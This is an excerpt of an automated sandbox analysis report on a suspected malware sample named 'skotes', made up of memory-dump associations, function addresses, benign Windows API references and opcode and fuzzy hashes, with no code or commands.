Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: ea3039719ff86c50829481cc4efb7733b6917e24ed1849d81721a6bc99f333c6
Instruction ID: 63434596adcff76e043aed05f11a892118250d1b30dacbf21e85af42a98c5d5d
Opcode Fuzzy Hash: ea3039719ff86c50829481cc4efb7733b6917e24ed1849d81721a6bc99f333c6
Instruction Fuzzy Hash: DB112E7290524CABDB10DE96C940EDF77FCAF08314F606266E551F2080EB30EA45CB61

Function 00EEAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00EEAC8D

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 0929b79eee44246b3455fd387893f4a11a5c249d3fbf85a1b818678294ea2e6f
Instruction ID: f0231bbb1289da17b7767801fbb66f9b7743a58da240db1e938a2fb26a7dff36
Opcode Fuzzy Hash: 0929b79eee44246b3455fd387893f4a11a5c249d3fbf85a1b818678294ea2e6f
Instruction Fuzzy Hash: 92111571A0420EAFCB05DF59E94199A7BF5EF48304F1540A9F809AB351D630EE21DBA5

Function 00EEB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,883F4975,?,?,00ECD3FC,883F4975,?,00EC7A8B,?,?,?,?,?,?,00EB7465,?), ref: 00EEB07D

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 43431268b03c2c09cb86fd460f36c3bcbda64e672957f1df10e6b7c494a3f249
Instruction ID: 56138dd63268ca7ce756c1a3a5eabb7ad77ca30ff617f4fac3b279d6b1bd1f0a
Opcode Fuzzy Hash: 43431268b03c2c09cb86fd460f36c3bcbda64e672957f1df10e6b7c494a3f249
Instruction Fuzzy Hash: AAE06D351452EED6EB3132679C01B9BB6889B413B4F263221ED64B61A1DB60ED0091E1

Function 00EF1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00EF1B65,?,?,00000000,?,00EF1B65,00000000,0000000C), ref: 00EF1792

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 69b6f6a5110837111cd6cd65a8a1886245149b73349299a8a32a470e966b5fbb
Instruction ID: fc80561505b0d5039b2870d7a36e63a384b1d4ff38bb7e4edaddfb69869f158d
Opcode Fuzzy Hash: 69b6f6a5110837111cd6cd65a8a1886245149b73349299a8a32a470e966b5fbb
Instruction Fuzzy Hash: A4D0923205010DBBDF129E84DD02EDA3BAAFB88714F014140FE5866020C732E871AB94

Function 04B40E67 Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

ZXX`, xrefs: 04B40E72

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID: ZXX`
API String ID: 0-3633052118
Opcode ID: 5f54b7eb24ca4509b4f6d7cedf3b4b5103c94d270278e7ae07774fb593991707
Instruction ID: 41d65c76df260aa71225b7c8d0621945e77beabdc460bafffd43e3386f73251c
Opcode Fuzzy Hash: 5f54b7eb24ca4509b4f6d7cedf3b4b5103c94d270278e7ae07774fb593991707
Instruction Fuzzy Hash: 3CF06DE728C011BE6002A1567F65AF76B6DE2E6730334C87BF607C7543A79A2A5A7031

Function 04B40CFA Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85878a6125cd6dc5957c4035cfa14d5e492a3c04dc44cef66b79f5d651caf057
Instruction ID: 05e9b583f02bc6dfebcc190d093aa4cd67cb43fc7ebb8e34bf32c6b88f45fefb
Opcode Fuzzy Hash: 85878a6125cd6dc5957c4035cfa14d5e492a3c04dc44cef66b79f5d651caf057
Instruction Fuzzy Hash: 8921CFE768D1517E7202A5556B609F72B6DD5C773033088EBFA07CB402E2983B5E7231

Function 04B40DA0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42e057b6cde3f197a7c39403530622923171db2a7a7f6f5c847ebc5a779375c
Instruction ID: e1952f8f446cc580821945aed1154c2af4328b50382f8109a74533d665bd298e
Opcode Fuzzy Hash: b42e057b6cde3f197a7c39403530622923171db2a7a7f6f5c847ebc5a779375c
Instruction Fuzzy Hash: 87118EFB68C111BD6102A5456B50AFB6B6DE6C773033088AAFA07CA502F3992F5E7131

Function 04B40DAD Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a7e639b15b5113b8ed460f12d578d68b8a040dc82b2770b6bd3d71c8e09a8d
Instruction ID: 17e83914630f821c7c2dc30363357c570e1b7659cf9cfb39a5c75922389e7f01
Opcode Fuzzy Hash: 46a7e639b15b5113b8ed460f12d578d68b8a040dc82b2770b6bd3d71c8e09a8d
Instruction Fuzzy Hash: 9211CEE778C1107D7102A0113F24AF7676CD2D67303308CAAF507C6502F2992B5A7131

Function 04B40D82 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3245be19cd3b6730fa83c0b4bdda5152cdbdccc608c6f3e2e12aa6ecdac48562
Instruction ID: 5b3000f9dfddcd7c6678f69df032bf814c13d1d7d8066a4deb5ebb710cc448bc
Opcode Fuzzy Hash: 3245be19cd3b6730fa83c0b4bdda5152cdbdccc608c6f3e2e12aa6ecdac48562
Instruction Fuzzy Hash: 96118EEB78C121BD3002A4416B149F7676DD1D6730330CCABFA07C6506F6996B5E3131

Function 04B40D8D Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1404ec647e7f203056167bb4eeb6ebab8c57594c29b592a7d5d2ac88cc5abbfa
Instruction ID: d29a3a410ee7e67981732449b8a2dd0c183099f879ca0a278cbdc283ec983e03
Opcode Fuzzy Hash: 1404ec647e7f203056167bb4eeb6ebab8c57594c29b592a7d5d2ac88cc5abbfa
Instruction Fuzzy Hash: 0F117CEB78C021BD3001A4416B14AFB676DD1D6B303308CABF607CA506F2996B5A3131

Function 04B40DFE Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31c6598172d58fb766f9107a6b60549fa22d15fd63aa99e6fccf971cb12571bc
Instruction ID: 45fee05da97303dea97f9a36d83f4e0b8836d0fdaa7f40cdc2825a7c5e797fd1
Opcode Fuzzy Hash: 31c6598172d58fb766f9107a6b60549fa22d15fd63aa99e6fccf971cb12571bc
Instruction Fuzzy Hash: 1B01BCE7A8D122BEB202A0252B609FB676DE5D273033088BBF506C7506F7566B5A3031

Function 04B40DE0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230e1f4b04db677007d8e0bd8c2f72a7a2ef2eb48db11ba3d42a18a6898fd1a4
Instruction ID: 37ed31ad6b710df0da8e92ea214a450addadbec9a27c6504463341c49a28cefa
Opcode Fuzzy Hash: 230e1f4b04db677007d8e0bd8c2f72a7a2ef2eb48db11ba3d42a18a6898fd1a4
Instruction Fuzzy Hash: 6501DFE778D110BC7102E5513B509F76B6CE5D77303348CABF606CA506E28A2B6A7231

Function 04B40E40 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf54ea0340ccbb17160b0546f5d99c2341bec487cf132966e158f8995f48ef97
Instruction ID: 22d30e060ab25f7fa4fc2a712c352b8d5de0c8be59404aa9f83ac6788c5436d1
Opcode Fuzzy Hash: bf54ea0340ccbb17160b0546f5d99c2341bec487cf132966e158f8995f48ef97
Instruction Fuzzy Hash: FEF0A5EB69C111BD7042A4463B249FB676DE1D6730334CCBBF607C6506E78A2B9A7036

Function 04B40E7D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5223665d8fe5f58255dd4884423eed70e2d32eabb8bb6001449550376701258
Instruction ID: beb73595fff3243ced30c3f4b9e88b88e0eb14b7dfdb6a1170b6d9825d18a188
Opcode Fuzzy Hash: d5223665d8fe5f58255dd4884423eed70e2d32eabb8bb6001449550376701258
